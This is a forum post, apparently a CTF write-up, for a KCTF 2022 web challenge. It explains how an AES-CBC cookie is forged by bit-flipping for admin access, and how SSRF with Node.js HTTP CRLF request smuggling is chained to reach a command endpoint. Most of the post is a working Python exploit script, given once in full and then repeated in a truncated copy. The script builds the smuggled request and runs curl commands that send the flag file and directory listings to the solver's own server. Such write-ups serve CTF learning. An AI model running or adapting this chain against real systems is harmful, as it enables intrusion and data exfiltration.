-
-
[原创] 看雪 2022 KCTF 秋季赛 第五题 灾荒蔓延
-
发表于: 2022-11-25 18:34 8781
-
感叹一下:
访问题目,收到一个 cookie,长 64 的 hex 串。
访问 /admin 提示 you are not admin。稍微修改 cookie 的前部,得到 JsonParse error。更改 cookie 结尾,得到 Decrypt error。显然是一个 AES-CBC 而且还可以 padding oracle。
不难解出 cookie 明文 {"admin":"0"}
,其实不解也无所谓,逐个字节反转,可以发现页面突然提示 welcome admin, post cmd to /C00mmmmanD。
get /C00mmmmanD,提示又不是 admin 了。考虑到 /search 提供 ssrf,估计是需要从 127.0.0.1 访问。然后做一套 node http crlf。数据带外
flag{ohhh_Kctf_doyoulike_nodejs}
import
requests
url
=
'http://150.158.18.137:5329/'
r
=
requests.get(url)
token
=
r.cookies[
'isadmin'
]
token
=
bytearray.fromhex(token)
token[
10
] ^
=
1
token
=
token.
hex
()
print
(token)
cmd
=
'curl vpsip -d "$(ls -al)"'
cmd
=
'curl vpsip -F a=@flag'
payload
=
f
'''admin HTTP/1.1
Cookie: isadmin={token}
POST /C00mmmmanD HTTP/1.1
Cookie: isadmin={token}
Content-Type: application/x-www-form-urlencoded
Content-Length: {len(cmd)+4}
cmd={cmd}
GET /'''
final_payload
=
'http://localhost:5329/'
for
c
in
payload:
if
c.isalnum():
final_payload
+
=
c
else
:
final_payload
+
=
chr
(
0x100
+
ord
(c))
r
=
requests.get(url
+
'search'
, params
=
{
'url'
: final_payload})
print
(r.text)
import
requests
url
=
'http://150.158.18.137:5329/'
r
=
requests.get(url)
token
=
r.cookies[
'isadmin'
]
token
=
bytearray.fromhex(token)
token[
10
] ^
=
1
token
=
token.
hex
()
print
(token)
cmd
=
'curl vpsip -d "$(ls -al)"'
cmd
=
'curl vpsip -F a=@flag'
payload
=
f
'''admin HTTP/1.1
Cookie: isadmin={token}
POST /C00mmmmanD HTTP/1.1
Cookie: isadmin={token}
Content-Type: application/x-www-form-urlencoded
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!
赞赏
他的文章
看原图
赞赏
雪币:
留言: